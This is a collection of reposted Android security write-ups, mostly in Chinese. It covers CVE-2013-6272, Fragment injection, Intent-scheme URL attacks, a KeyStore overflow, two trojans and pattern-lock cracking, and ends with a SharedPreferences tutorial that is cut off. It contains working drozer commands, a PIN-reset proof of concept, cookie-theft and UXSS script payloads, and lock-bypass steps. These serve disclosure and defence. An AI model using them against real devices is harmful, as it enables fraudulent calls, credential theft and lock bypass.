CVE-2013-6272 com.android.phone

CVE-2013-6272 com.android.phone

原文连接: http://blog.curesec.com/article/blog/35.html

Introduction

We conducted a deep investigation of android components and created some CVEs and reported bugs to the Android Security Team in late 2013. Today we want to publish one reported and one similar vulnerability.

Credits

Authors: Marco Lux, Pedro Umbelino
Email: security@curesec.com

Affectect Versions:

Version SDK Affected
4.1.1 16 Vulnerable
4.1.2 16 Vulnerable
4.2.2 17 Vulnerable
4.4.2 19 Vulnerable
4.4.4 19 Not Vulnerable

Bug: com.android.phone.PhoneGlobals$NotificationBroadcastReceiver.

Browsing the code, you can get an idea about its purpose:

public static class NotificationBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String action = intent.getAction(); // TODO: use “if (VDBG)” here. Log.d(LOG_TAG, “Broadcast from Notification: ” + action); if (action.equals(ACTION_HANG_UP_ONGOING_CALL)) { PhoneUtils.hangup(PhoneGlobals.getInstance().mCM); } else if (action.equals(ACTION_CALL_BACK_FROM_NOTIFICATION)) { // Collapse the expanded notification and the notification item itself. closeSystemDialogs(context); clearMissedCallNotification(context); Intent callIntent = new Intent(Intent.ACTION_CALL_PRIVILEGED, intent.getData()); callIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); context.startActivity(callIntent); } else if (action.equals(ACTION_SEND_SMS_FROM_NOTIFICATION)) { // Collapse the expanded notification and the notification item itself. closeSystemDialogs(context); clearMissedCallNotification(context); Intent smsIntent = new Intent(Intent.ACTION_SENDTO, intent.getData()); smsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); context.startActivity(smsIntent); } else { Log.w(LOG_TAG, “Received hang-up request from notification,” + ” but there’s no call the system can hang up.”); } }

What’s going on here? There are three actions that this receiver deals with:

1) ACTION_HANG_UP_ONGOING_CALL is a custom action, previously defined in this class to terminate any ongoing calls. This means that, since the receiver has no defined permissions, whatever app sends this action to this receiver can effectively terminate any outgoing call, because this package has permission to do so and the code is executed in this package context.

2) ACTION_CALL_BACK_FROM_NOTIFICATION is also a custom action which leads to this receiver to immediately start a call using the powerful Intent.ACTION_CALL_PRIVILEGED intent. This means that any app can call any number, again without any permissions whatsoever. To notice that USSD codes can also be run, as well as calling emergency numbers and whichever action an user can do with the dial pad (except accessing android secret codes, these don’t seem to run).

3) ACTION_SEND_SMS_FROM_NOTIFICATION opens an SMS box to send to a chosen number. User interaction is required, so it is the least interesting.

Interesting programmers comment on the class:

/** * Accepts broadcast Intents which will be prepared by {@link NotificationMgr} and thus * sent from framework’s notification mechanism (which is outside Phone context). * This should be visible from outside, but shouldn’t be in “exported” state. * * TODO: If possible merge this into PhoneAppBroadcastReceiver. */ public static class NotificationBroadcastReceiver extends BroadcastReceiver {

He explicitly says this “shouldn’t be in ‘exported’ state” what it actually is. This allows us to exploit this issue.

We decided to publish this issue after we had been waiting several months for google to fix it and then went on to check out other code versions.

While in Version 4.1.X – SDK 16 PhoneGlobals.java does not exist, there is a file named PhoneApp.java.

Bug: PhoneApp.java

PhoneApp.java also contains a NotificationBroadcastReceiver class with the exact same code plus the exact same comment: “shouldn’t be in “exported” state.” – right.

So it seems like the bug was introduced in this version and existed ever since.

Another feature that is provided within this component is the ability to run SS and USSD codes (those that would normally require the user to press the SEND button after the code). Android secret codes will not work nor *#06# to see the IMEI, for example.

For SS and USSD codes you always need to press the SEND key after entering them, so they all should work depending on your mobile provider. For manufacture defined MMI this will not work, since the code gets executed immediately with the user pressing send.

Exploitation

For the audience to play, test and execute the vulnerability we provide the following tools:

 

  • Test application “CRT-Kolme” (includes CVE-2013-6272 and CVE-2014-N/A)
  • Exploits to use with drozer
  • Manual drozer testing commandlines

 

CRT-Kolme

You can download “Curesec Research Team – Kolme (Callmeh)” at

http://www.curesec.com/data/CRT-Kolme.apk

Source Code: http://www.curesec.com/data/CRT-Kolme.7z

After installation just click on the Curesec Logo and the testscreen will appear:

 

thumbnail

 

Choose the SDK you want to test. If your phone is vulnerable, it will call the number 31337:

 

thumbnail

 

Drozer Exploits

In this section we provide a description to exploit the CVE-2013-6272 issue provided exploits for drozer.

 

thumbnail

 

 

#download drozer here https://www.mwrinfosecurity.com/products/drozer/ #unpack exploits to drozer modules directory tar xjf dz_exploits.tar.bz2 -C drozer/modules # forward tcp and connect to drozer adb forward tcp:31415 tcp:31415 drozer console connect #this conducts a phone call to the specified number dz> run curesec.exploit.callme1 -t #send code to the device for instance dz> run curesec.exploit.callme1 -c #hangup a phone call, if there are several calls going on, one kill per call dz> run curesec.exploit.callme1 -k kill

 

 

thumbnail

 

Drozer Commandline Foo

Hangup an ongoing call or conduct a phone call:

 

#this terminates any outgoing call! run app.broadcast.send –component com.android.phone com.android.phone.PhoneGlobals$NotificationBroadcastReceiver –action com.android.phone.ACTION_HANG_UP_ONGOING_CALL #THIS ALLOWS YOU TO CALL ANY NUMBER! run app.broadcast.send –component com.android.phone com.android.phone.PhoneGlobals$NotificationBroadcastReceiver –action com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION –data-uri tel:555444111

In order to make the codes work, you can use the following command:

run app.broadcast.send –component com.android.phone com.android.phone.PhoneGlobals$NotificationBroadcastReceiver –action com.android.phone.ACTION_CALL_BACK_FROM_NOTIFICATION –data-uri tel:*%2343%23

 

The usual # symbol for the MMI codes has to be replaced by %23 to work properly.

FAQ

1. Why is this a bug?

Android normally has to grant permission so that your applications can conduct actions. If your installed application does not own the right to do a phone call, the Android OS should throw a permission denied.

However this bug is circumventing the situation and allows any malicous app to do a phone call, send mmi or ussd codes or hangup an ongoing call.

2. Is there an app to test this issue on my phone?

You can use the APK we published. You will find details in the next sections.

3. How would an attacker abuse this?

This bug can be abused by a malicious application. Take a simple game which is coming with this code. The game wont ask you for extra permissions to do a phone call to a toll number – but it is able to do it.

This is normally not possible without giving the app this special permission. But not only might it be disturbing or expensive for someone to call a toll number or getting ongoing calls hung up. It is also possible to send USSD codes.

The list of USSD/SS/MMI codes is long and there are several quite powerful ones like changing the flow of phone calls(forwarding), blocking your simcard, enable or disable caller anonymisation and so on.

Please note that Curesec GmbH is not responsible for any damage your device might suffer while you try to execute such codes.

4. Are tools which revoke permissions from apps blocking this attack?

No. As the app does not have the permission but is abusing a bug, such apps cannot easily protect you from this without the knowledge that this bug exists in another class on the system.

5. How can I contact you?

security@curesec.com

Downloads:

 CRT-Kolme.apk (test application)
 CRT-Kolme.7z (source code)
 dz_exploit (exploit archive cve-2013-6272 and cve-2014-n/a)

Android框架攻击之Fragment注入

为了适应越来越大的设备屏幕,Android在3.X后引入了Fragment概念,作用是可以在一个屏幕上同时显示多个Activity,以达到充分利用屏幕的目的。关于Fragment的使用说明,可以阅读《Android
Fragment完全解析,关于碎片你所需知道的一切》。其中,Fragment有一个很强大的功能,就是可以动态加载。这样可以让整个界面的开发更加灵活,可以根据不同的场景动态加加载不同的Activity。
回到今天的主题——利用Fragment实现注入攻击。从3.X后,android工程师重构PreferenceActivity的实现,采用Fragment实现界面的加载。通过阅读源码可以发现,PreferenceActivity的onCreate里,需要读取Intent的多个extra内容,常量都定义在PreferenceActivity里(那堆EXTRA_XXXX就是了),其中有两个常量分别是EXTRA_SHOW_FRAGMENT=”:android:show_fragment”和EXTRA_SHOW_FRAGMENT_ARGUMENTS=”:android:show_fragment_args”,这两个参数可以决定当前的PreferenceActivity首次显示的Fragment。过程比较简单,就是先拿到fragment_class和fragment_args,然后通过反射生成一个Fragment实例,并动态加载。关键源码如下所示:

[java] view plaincopy
mSinglePane = hidingHeaders || !onIsMultiPane();
String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);
Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);
int initialTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_TITLE, 0);
int initialShortTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_SHORT_TITLE, 0);

先获取initalFragment和initialArguments两个参数,之后在switchToHeaderInner里完成实例化:
[java] view plaincopy
private void switchToHeaderInner(String fragmentName, Bundle args, int direction) {
getFragmentManager().popBackStack(BACK_STACK_PREFS,
FragmentManager.POP_BACK_STACK_INCLUSIVE);
Fragment f = Fragment.instantiate(this, fragmentName, args);
FragmentTransaction transaction = getFragmentManager().beginTransaction();
transaction.setTransition(FragmentTransaction.TRANSIT_FRAGMENT_FADE);
transaction.replace(com.android.internal.R.id.prefs, f);
transaction.commitAllowingStateLoss();
}

到此为止,我们可以通过设置Intent的extral,实现动态修改PreferenceActivity的初次显示的Fragment。
我们知道,在Android系统里,App与App是互相隔离的,互相之间不能访问对方的私有数据。App与App之间(更准确地说应该是组件与组件之间)的通讯,统一使用Intent。通过Intent可以很方便的唤起其他App的Activity,达到功能重用的目的。比如平时使用ZAKER,你需要在微信圈里分享,通过这种方式就可以直接跳到微信的分享界面了。但使用这种方式的前提是目标Activity是exported的。
结合上面的两个关键点,我们是否可以寻找一个exported的PreferenceActivity的子类,并通过精心设置Intent的extral的值,以实现打开那些没有exported的界面呢?如果这些界面涉及安全方面信息的话,又会怎样呢?
Setting几乎每个Android设备都有的。Setting是以system_uid方式签名,所以具备行使system的权力。它的主界面com.android.settings.Settings就是继承自PreferenceActivity,而且肯定是exported。我们以此作为入口,尝试寻找Setting里有哪些重要的Fragment,并尝试把它加载进来,主要目的是希望可以跳过某些需要用户交互的限制。比如说ChooseLockPassword$ChooseLockPasswordFragment这个Fragment,这个类主要是负责锁屏界面的密码设定和修改。同时,这个类会根据之前传入的initialArguments做不同的逻辑,关键代码如下所示:
[java] view plaincopy
Intent intent = getActivity().getIntent();
final boolean confirmCredentials = intent.getBooleanExtra(“confirm_credentials”, true);
if (savedInstanceState == null) {
updateStage(Stage.Introduction);
if (confirmCredentials) {
mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST,
null, null);
}
} else {
mFirstPin = savedInstanceState.getString(KEY_FIRST_PIN);
final String state = savedInstanceState.getString(KEY_UI_STAGE);
if (state != null) {
mUiStage = Stage.valueOf(state);
updateStage(mUiStage);
}
}

如果传入的参数当中,key为”confirm_credentials”为true,就会调起旧密码验证的流程。如果为false,就可以跳过旧密码验证而直接进入密码修改的流程。测试代码如下所示:
[java] view plaincopy
Intent intent = new Intent();
intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
intent.setClassName(“com.android.settings”, “com.android.settings.Settings”);
intent.putExtra(“:android:show_fragment”, “com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment”);
intent.putExtra(“confirm_credentials”, false);

startActivity(intent);

正常的密码修改流程是”设置”->”安全”->”屏幕锁定”->”确认你的PIN”,如所下图所示:

如果运行DEMO,则直接进入如下界面:

这样你直接输入密码,就可以把原来的密码覆盖掉了。
这个BUG存在于3.X到4.3中的所有版本,4.4已经fix了。4.4强制所有PreferenceActivity必须要实现isValidFragment方法,详细见这里

个人总结:
应该说,这种修复方式,只是起到一个提醒的作用,最终的安全还是交由开发者承担。另外,目前很多应用都是基于2.X的,所以要兼容在4.4上跑而不crash,只要在PreferenceActivity的子类都补充加上isValidFragment方法就可以了。但对于4.4之前的版,如果存在这种权限泄露的问题,还是需要单独处理的。下面给出兼容2.X~4.4修复的代码示例:
[java] view plaincopy
public final class MyPreferenceActivity extends PreferenceActivity {

private boolean doValidcheck(String fragmentName) throws IllegalArgumentException{
//TODO 做合法性检查

return true;
}

//添加上这个方法,以使2.x~4.3的代码在4.4上可以正常运行
protected boolean isValidFragment(String fragmentName) {
return doValidcheck(fragmentName);
}

@Override
protected void onCreate(Bundle savedInstanceState) {
//在onCreate前就做合法性判断
String fragmentname = getIntent().getStringExtra(“:android:show_fragment”);
doValidcheck(fragmentname);

super.onCreate(savedInstanceState);
}
}

原文连接: http://blog.csdn.net/l173864930/article/details/17279165

Android Intent Scheme URLs攻击

0x0 引言

我们知道,在Android上的Intent-based攻击很普遍,这种攻击轻则导致应用程序崩溃,重则可能演变提权漏洞。当然,通过静态特征匹配,Intent-Based的恶意样本还是很容易被识别出来的。

然而最近出现了一种基于Android Browser的攻击手段——Intent Scheme URLs攻击。这种攻击方式利用了浏览器保护措施的不足,通过浏览器作为桥梁间接实现Intend-Based攻击。相比于普通Intend-Based攻击,这种方式极具隐蔽性,而且由于恶意代码隐藏WebPage中,传统的特征匹配完全不起作用。除此之外,这种攻击还能直接访问跟浏览器自身的组件(无论是公开还是私有)和私有文件,比如cookie文件,进而导致用户机密信息的泄露。

 

0x1 Intent scheme URL的用法

看一下Intent Scheme URL的用法。

 

  1. <script>location.href = “intent:mydata#Intent;action=myaction;type=text/plain;end”</script>

 

从用法上看,还是很好理解的,这里的代码等价于如下Java代码:

 

  1. Intent intent = new Intent(“myaction”);
  2. intent.setData(Uri.parse(“mydata”));
  3. intent.setType(“text/plain”);

再看一个例子:

 

  1. intent://foobar/#Intent;action=myaction;type=text/plain;S.xyz=123;i.abc=678;end

 

上面的语句,等价于如下Java代码:

 

  1. Intent intent = new Intent(“myaction”);
  2. intent.setData(Uri.pase(“//foobar/”));
  3. intent.putExtra(“xyz”, “123”);
  4. intent.putExtra(“abc”, 678);

其中S代表String类型的key-value,i代表int类型的key-value。

源码中提供了Intent.parseUri(String uri)静态方法,通过这个方法可以直接解析uri,如果想更一步了解其中的语法,可以查看官方源码。

 

0x2 Intent scheme URI的解析及过滤

如果浏览器支持Intent Scheme URI语法,一般会分三个步骤进行处理:

 

  1. 利用Intent.parseUri解析uri,获取原始的intent对象;
  2. 对intent对象设置过滤规则,不同的浏览器有不同的策略,后面会详细介绍;
  3. 通过Context.startActivityIfNeeded或者Context.startActivity发送intent;

 

其中步骤2起关键作用,过滤规则缺失或者存在缺陷都会导致Intent Schem URL攻击。

下面是各大浏览器对Intent scheme URL的支持情况

 

可见,除了Firefox外其他的浏览器都支持Intent Scheme URL语法。

 

 

0x3 攻击示例

a.Opera mobile之cookie盗取

Opera上的intent过滤策略是完全缺失的,因此我们可以轻易调用Opera上的私有activity。比如下面这个攻击示例:

 

  1. <script>
  2. location.href = “intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;component=com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end”;
  3. </script>

 

通过上面的脚本,我们可以直接调起AdMarvelActivity。AdMarvelActvity会从intent中获取url,并以HTML/JavaScript的方式解析cookies文件。

试想一下,如果我们预先构造一个恶意网站,并让用户通过浏览器访问。这时在恶意见面中,存在如下脚本:

 

  1. <script>
  2. document.cookie = “x=<script>(javascript code)</scr” + “ipt>; path=/blah; expires=Tue, 01-Jan-2030 00:00:00 GMT”;
  3. location.href = “intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;component=com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end”;
  4. </script>

当AdMarvelActivity解析cookies文件时,就会执行playload。

 

b.Chrome之UXSS

Chrome的UXSS漏洞利用相对复杂。介绍之前,我们需要先了解一下关于Intent Selector的用法,详情见。简而言之,Intent Selector机制提供一种main intent不匹配的情况下可以设置替补的方案。比如A是main intent, B是A的selector intent,当startActiviy时,系统发现A无法匹配则会尝试用B去匹配。

Chrome相比于Opera,在intent过滤的步骤中添加了安全策略,代码如下:

 

  1. Intent intent = Intent.parseUri(uri);
  2. intent.addCategory(“android.intent.category.BROWSABLE”);
  3. intent.setComponent(null);
  4. context.startActivityIfNeeded(intent, -1);

 

从代码中,可以看到Chrome为了防御Intent Based攻击,做了不少限制,比如把category强置为”android.intent.category.BROWSABLE”,把component强置为null,相对之后比Opera强多了。然而,Chrome忽略了Intent Selector的用法,比如下面的用法:

 

  1. intent:#Intent;S.xxx=123; SEL;component=com.android.chrome/.xyz;end

 

留意其中的关键字“SEL”,其实就是设置了一个component为com.android.chrome/.xyz的 selector intent,这种用法导致chrome的防御措施形同虚设。最后看一下Chrome UXSS的PoC:

 

  1. <script>
  2. //通过WebAppActivity0我们先打开一个攻击的站点
  3. location.href = “intent:#Intent;S.webapp_url=http://victim.example.jp;l.webapp_id=0;SEL;compo nent=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end”;
  4. // 停留2s或者更长时间, 然后注入javascript payload
  5. setTimeout(function() {
  6. location.href = “intent:#Intent;S.webapp_url=javascript:(malicious javascript code);l.webapp_id=1;SEL;component=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end”;
  7. }, 2000);
  8. </script>

 

 

这里的关键点是WebappActivity0对new intent的处理方式上。

第一次打开站点,并完成加载。第二次则是直接把javascript payload注入到目标网页。这个漏洞存在于在所有低于v.30.0.1599.92的chrome版本,而新版本修改WebappActivity对new intent的处理方式,会创建new tab,这样就避免了javascript inject。

然而在新版中,依然没有屏避intent selector的使用,因此依然存在Chrome的私有组件和文件被读取的安全隐患。

 

0x4 结论

通过上两个漏洞的描述,我们总结得出一种相对比较安全的Intent Filter方法,代码如下:

 

  1. // convert intent scheme URL to intent object
  2. Intent intent = Intent.parseUri(uri);
  3. // forbid launching activities without BROWSABLE category
  4. intent.addCategory(“android.intent.category.BROWSABLE”);
  5. // forbid explicit call
  6. intent.setComponent(null);
  7. // forbid intent with selector intent
  8. intent.setSelector(null);
  9. // start the activity by the intent
  10. context.startActivityIfNeeded(intent, -1);

 

原文连接: http://blog.csdn.net/l173864930/article/details/36951805

 

安卓KeyStore栈溢出漏洞分析(CVE-2014-3100)

相关内容链接:
1. http://securityintelligence.com/android-keystore-stack-buffer-overflow-to-keep-things-simple-buffers-are-always-larger-than-needed/#.U7OUAflmgmv
2. 有关keystore的内部原理讲解的系列文章:
(1)http://nelenkov.blogspot.co.il/2011/11/ics-credential-storage-implementation.html
(2)http://nelenkov.blogspot.co.il/2011/12/ics-credential-storage-implementation.html
(3)http://nelenkov.blogspot.co.il/2012/05/storing-application-secrets-in-androids.html
(4)http://nelenkov.blogspot.tw/2012/07/jelly-bean-hardware-backed-credential.html
(5)http://nelenkov.blogspot.co.il/2013/08/credential-storage-enhancements-android-43.html
—–
原文连接: http://blogs.360.cn/360mobile/2014/07/01/cve-2014-3100/
作者:申迪

CVE-2014-3100是安卓平台KeyStore的一个栈溢出漏洞。该漏洞是去年9月IBM的Roee Hay & Avi Dayan发现并秘密报告给Google,并于6月23日被公开[1]。与此同时,Google官方也放出了漏洞测试代码。[2]

近日发现有一些国内媒体以《Android最新漏洞:影响86%用户财产安全》为标题对此漏洞进行了报道。但我们的观点是,该漏洞仅在4.3的系统中存在,而其危害也被媒体有所夸大。

Keystroe是安卓平台的密钥存储服务,4.3以前以Locol Socket的形式接收用户对于服务的访问。4.3以后则作为一个binder服务的形式存在。

图 1 keystore原理图,援引自IBM研究员的分析文章[1]

问题所在:

android.security.KeyStore类中的get方法允许传入一个名为keyName的String类型,客户端可以传入一个超长的字符串。

Class<?> keystoreClass = Class.forName(“android.security.KeyStore”);

Method getInstance = keystoreClass.getMethod(“getInstance”);

Method get = keystoreClass.getMethod(“get”, String.class);

Object keystore = getInstance.invoke(null);

String keyName = “AAAA AAAA AAAA AAAA ”

+ “AAAA AAAA AAAA AAAA ”

+ “AAAA AAAA AAAA AAAA ”

+ “AAAA AAAA AAAA AAAA ”

+ “AAAA AAAA AAAA AAAA ”

+ “AAAA AAAA AAAA AAAA ”

+ “AAAA AAAA AAAA AAAA ”

+ “AAAA AAAA AAAA AAAA ”

+ “AAAA AAAA AAAA AAAA ”

+ “AAAA AAAA AAAA AAAA ”

+ “AAAA AAAA AAAA AAAA ”

+ “AAAA AAAA AAAA AAAA ”

+ “AAAA AAAA AAAA AAAA ”

+ “AAAA AAAA AAAA AAAA ”

+ “AAAA AAAA AAAA AAAA ”

+ “AAAA AAAA AAAA AAAA ”

+ “AAAA AAAA AAAA AAAA ”

+ “AAAA AAAA AAAA AAAA ”

+ “AAAA AAAA AAAA AAAA ”

+ “AAAA AAAA AAAA AAAA”;

get.invoke(keystore, keyName);

再看服务端的处理:

首先在栈上分配了一段缓冲区,大小是NAME_MAX

1068 ResponseCode getKeyForName(Blob* keyBlob, const android::String8& keyName, const uid_t uid,
1069 const BlobType type) {
1070 char filename[NAME_MAX];
1071 encode_key_for_uid(filename, uid, keyName);
然后调用encode_key对keyName进行转码

264static int encode_key_for_uid(char* out, uid_t uid, const android::String8& keyName) {
265 int n = snprintf(out, NAME_MAX, “%u_”, uid);
266 out += n;
267
268 return n + encode_key(out, keyName);
269}
这里面认为keyName.lenth()是缓冲区的长度,并且将内容转码后复制到栈上的char name,如果keyName.lenth()超长,则栈溢出

248static int encode_key(char* out, const android::String8& keyName) {
249 const uint8_t* in = reinterpret_cast(keyName.string());
250 size_t length = keyName.length();
251 for (int i = length; i > 0; –i, ++in, ++out) {
252 if (*in < ‘0’ || *in > ‘~’) {
253 *out = ‘+’ + (*in >> 6);
254 *++out = ‘0’ + (*in & 0x3F);
255 ++length;
256 } else {
利用及其危害:

理论上,攻击利用程序有机会在Keystore进程内部执行任意代码,并且获取一些应用的关键密钥,比如VPN。

但是想要达到这种目的,需要解决以下问题:

– 使用ROP绕过数据执行保护(DEP)

– 解决ASLR 动态地址随机化问题

– 绕过Stack Canaries栈返回前的安全检查

– 编码问题,输入的buffer数据会被encode_key编码,这意味着shellcode在最终执行前会有一部分字节被修改

当然,KeyStore程序在崩溃之后会重新启动,所以理论上给了攻击程序反复尝试以利用成功的可能性

结论:

本文简单介绍了CVE-2014-3100的原理,并强调该漏洞仅在4.3中存在且目前仅有理论上的利用可能性。同时呼吁国内某些媒体能够抱有一种严谨的态度来报道安全事件,不要用夸张的不实描述引起不必要的恐慌。

参考:

[1] Android KeyStore Stack Buffer Overflow: To Keep Things Simple, Buffers Are Always Larger Than Needed, Roee Hay & Avi Dayan

http://securityintelligence.com/android-keystore-stack-buffer-overflow-to-keep-things-simple-buffers-are-always-larger-than-needed/#.U7IqDz-Sxn9

[2]AOSP https://android.googlesource.com/platform/cts/+/android-4.4.4_r1/tests/tests/security/src/android/security/cts/KeystoreExploitTest.java

MMarketPay.A

, New Android Malware Found in the Wild – See more at: http://blog.trustgo.com/mmarketpay/#sthash.heuNDoSF.dpuf

SUMMARY

 

On the 4th of July 2012, we uncovered a new malware that can download paid apps and contents from China Mobile’s Mobile Market. It placed orders automatically on behalf of users and could cause unexpected high phone bills. TrustGo Security Labs named it as: Trojan!MMarketPay.A@Android.

MMarketPay.A may arrive as repackaged applications with the following package names:

  • com.mediawoz.goweather
  • com.mediawoz.gotq
  • com.mediawoz.gotq1
  • cn.itkt.travelskygo
  • cn.itkt.travelsky
  • com.funinhand.weibo
  • sina.mobile.tianqitong
  • com.estrongs.android.pop

This virus is already found in following 9 China markets. More than 100,000 devices have been infected.

HOW IT WORKS

 

Mobile Market (http://mm.10086.cn/) is an Android Market hosted by China Mobile, one of the largest wireless providers on the planet. It hosts both free and paid applications and multimedia contents. Its payment workflow for paid application is as following:

  1. Customers login at M-Market website (http://mm.10086.cn/). No login required if customer use If you are using CMWAP as Access Point.
  2. M-Market will send a verification code to you via SMS if customer purchased paid apps or contents.
  3. Customers receive the verification code and input it to M-Market for verification
  4. Once the verification completed, the market will download apps automatically. China Mobile will add this order in customers’ phone bill.

MMarketPay.A can place orders via M-Market payment system automatically:

  1. Change the APN to CMWAP, so that it can login MMarket automatically.
  2. Find paid application and simulate the click action in background.
  3. Intercept the received SMS messages and collect verification code sent by M-Market.
  4. If CAPTCHA image is invoked, it will post the image to remote server for analyzing the verification code.
  5. Post the verification code to M-Market website.
  6. Download the application and customers get charged.

Following screenshot of malicious code shows the whole auto payment process.

Besides paid apps, M-Market also offers paid video contents. MMarketPay.A can also search, play and pay for the paid video contents on M-Market. Following piece of code shows the paid video auto play.

CONCLUSION

 

In summary, this sophisticated new malware could cause unexpected high phone bills. TrustGo recommends customers only download apps from trusted app stores and download a mobile security app which can scan malware in real-time.

– See more at: http://blog.trustgo.com/mmarketpay/#sthash.heuNDoSF.dpuf

破解android锁屏密码 [转]

android的锁屏密码大家应该都不陌生,本文所讲的即是对此密码的破解方法。

适合平台:android

所需条件:已root,打开USB调试

意义:几乎没用。

android的锁屏密码是连接一个3*3个点的图上面的点,要求如下:

至少4个点;

最多9个点;

无重复。

实际上,android系统将这9个点分别对应于0-8这9个数字,然后将连接的路径转换为这9个数字,并对其进行SHA1加密然后存储于一个文件中。数字对应如下:

0 1 2

3 4 5

6 7 8

比如一个大Z字型的密码,就是0124678,然后将这几个数字作为一个进行SHA1运算,再以16进制的形式存入/data/system/gesture.key文件当中。

破解方法1:

因为没有设置该密码手机将不会有这个文件的,而且如果没有这个文件,也不会要求输入锁屏密码。

所以方法很简单:adb连接上手机,删除/data/system/gesture.key文件。如下图:



破解方法2:

如果不想删除该文件,只是想知道密码的话,则可以读取该文件的数字,然后用暴力破解的方式进行猜解。由于密码是4至9位长度的数字(0-8),并且没有重复,再去除像0213这种不合法的密码(先连了首尾两个再连中间的点,这样的密码不可能存在。像路径为0213或0842等),生成密码词典并进行猜解,在电脑上几乎是秒破的。

该文件直接打开是乱码的,需要以16进制来查看。如下图:

以16进制读取该文件并转成字符串,然后生成由0至8组成的4至8位的数组,进行SHA1加密运算,并与上面的字符串对比。下面是我用电脑进行暴力猜解所生成的密码个数,以及最坏情况下所用时间:



共耗时0.975254947秒

复制代码

上面的密码个数不一定是最优解的个数,但应该没有漏了。破解android上这样一个锁屏密码,在我的G47(I5 CPU)电脑上所用时间约1秒。

在我的手机上进行破解的时间有点长,如下图是最坏情况下的破解结果:



由于猜解密码需要root权限,并且打开Adb调试,所以实际上此功能并没有多大用处,最多就是我借做android开发的朋友的手机(他们的都ROOT过并打开了USB调试)来看看他们的密码是什么,当然为能还需要他们先解锁下= =!。所以此文仅为技术交流。
原文转自:枫叶博客www.fengye123.com

Technical Details for Android.Jsmshider

Discovered:
June 21, 2011
Updated:
June 21, 2011 2:08:57 PM
Type:
Trojan
Systems Affected:
Android
The application may be downloaded from Android market sites. It must be manually installed.

Once executed, it periodically sends a request to its Command and Control (CnC) server at the following location:
[http://]svr.xmstsv.com/Te[REMOVED]

It sends information about the compromised device to the server including the following:

  • IMSI
  • Phone number

The Trojan may then receive commands from the server to perform the following actions on the device:

  • Download and install more files on the device
  • Open a URL
  • Read and send SMS messages
  • Update back door settings
  • Update the package

使用SharedPreferences进行数据存储

很多时候我们开发的软件需要向用户提供软件参数设置功能, 例如我们常用的QQ,用户可以设置是否允许陌生人添加自己为好友。对于软件配置参数的保存,如果是window软件通常我们会采用ini文件进行保存,如 果是j2se应用,我们会采用properties属性文件或者xml进行保存。如果是Android应用,我们最适合采用什么方式保存软件配置参数呢?Android 平台给我们提供了一个SharedPreferences类,它是一个轻量级的存储类,特别适合用于保存软件配置参数。使用 SharedPreferences保存数据,其背后是用xml文件存放数据,文件存放在/data/data/<package name>/shared_prefs目录下:

SharedPreferences sharedPreferences = getSharedPreferences(“ljq”, Context.MODE_PRIVATE);

Editor editor = sharedPreferences.edit();//获取编辑器

editor.putString(“name”, “林计钦”);

editor.putInt(“age”, 24);

editor.commit();//提交修改

生成的ljq.xml文件内容如下:

<?xml version=’1.0′ encoding=’utf-8′ standalone=’yes’ ?>

<map>

<string name=”name”>林计钦</string>

<int name=”age” value=”24″ />

</map>

因为SharedPreferences背后是使用xml文件保存数据,getSharedPreferences(name,mode)方法的第一个参数用于指定该文件的名称,名称不用带后缀,后缀会由Android自动加上。方法的第二个参数指定文件的操作模式,共有四种操作模式,这四种模式前面介绍使用文件方式保存数据时已经讲解过。如果希望SharedPreferences背后使用的xml文件能被其他应用读和写,可以指定Context.MODE_WORLD_READABLE和Context.MODE_WORLD_WRITEABLE权限。

另外Activity还提供了另一个getPreferences(mode)方法操作SharedPreferences,这个方法默认使用当前类不带包名的类名作为文件的名称。

访问SharedPreferences中的数据

访问SharedPreferences中的数据代码如下:

SharedPreferences sharedPreferences = getSharedPreferences(“ljq”, Context.MODE_PRIVATE);

//getString()第二个参数为缺省值,如果preference中不存在该key,将返回缺省值

String name = sharedPreferences.getString(“name”, “”);

int age = sharedPreferences.getInt(“age”, 1);

如果访问其他应用中的Preference,前提条件是:该preference创建时指定了Context.MODE_WORLD_READABLE或者Context.MODE_WORLD_WRITEABLE权限。

如:有个<package name>为com.ljq.action的应用使用下面语句创建了preference。

getSharedPreferences(“ljq”, Context.MODE_WORLD_READABLE);

其他应用要访问上面应用的preference,首先需要创建上面应用的Context,然后通过Context 访问preference ,访问preference时会在应用所在包下的shared_prefs目录找到preference :

Context otherAppsContext = createPackageContext(“com.ljq.action”, Context.CONTEXT_IGNORE_SECURITY);

SharedPreferences sharedPreferences = otherAppsContext.getSharedPreferences(“ljq”, Context.MODE_WORLD_READABLE);

String name = sharedPreferences.getString(“name”, “”);

int age = sharedPreferences.getInt(“age”, 0);

如果不通过创建Context访问其他应用的preference,也可以以读取xml文件方式直接访问其他应用preference对应的xml文件,如:

File xmlFile = new File(“/data/data/<package name>/shared_prefs/itcast.xml”);//<package name>应替换成应用的包名

案例:

string.xml文件

复制代码
<?xml version=”1.0″ encoding=”utf-8″?>
<resources>
<string name=”hello”>Hello World, SpActivity!</string>
<string name=”app_name”>软件配置参数</string>
<string name=”name”>姓名</string>
<string name=”age”>年龄</string>
<string name=”button”>保存设置</string>
<string name=”showButton”>显示</string>
</resources>
复制代码

main.xml布局文件

复制代码
<?xml version=”1.0″ encoding=”utf-8″?>
<LinearLayout xmlns:android=”http://schemas.android.com/apk/res/android”
android:orientation=”vertical”
android:layout_width=”fill_parent”
android:layout_height=”fill_parent”>
<RelativeLayout
xmlns:android=”http://schemas.android.com/apk/res/android”
android:layout_width=”wrap_content”
android:layout_height=”wrap_content”>
<TextView android:layout_width=”wrap_content”
android:layout_height=”wrap_content”
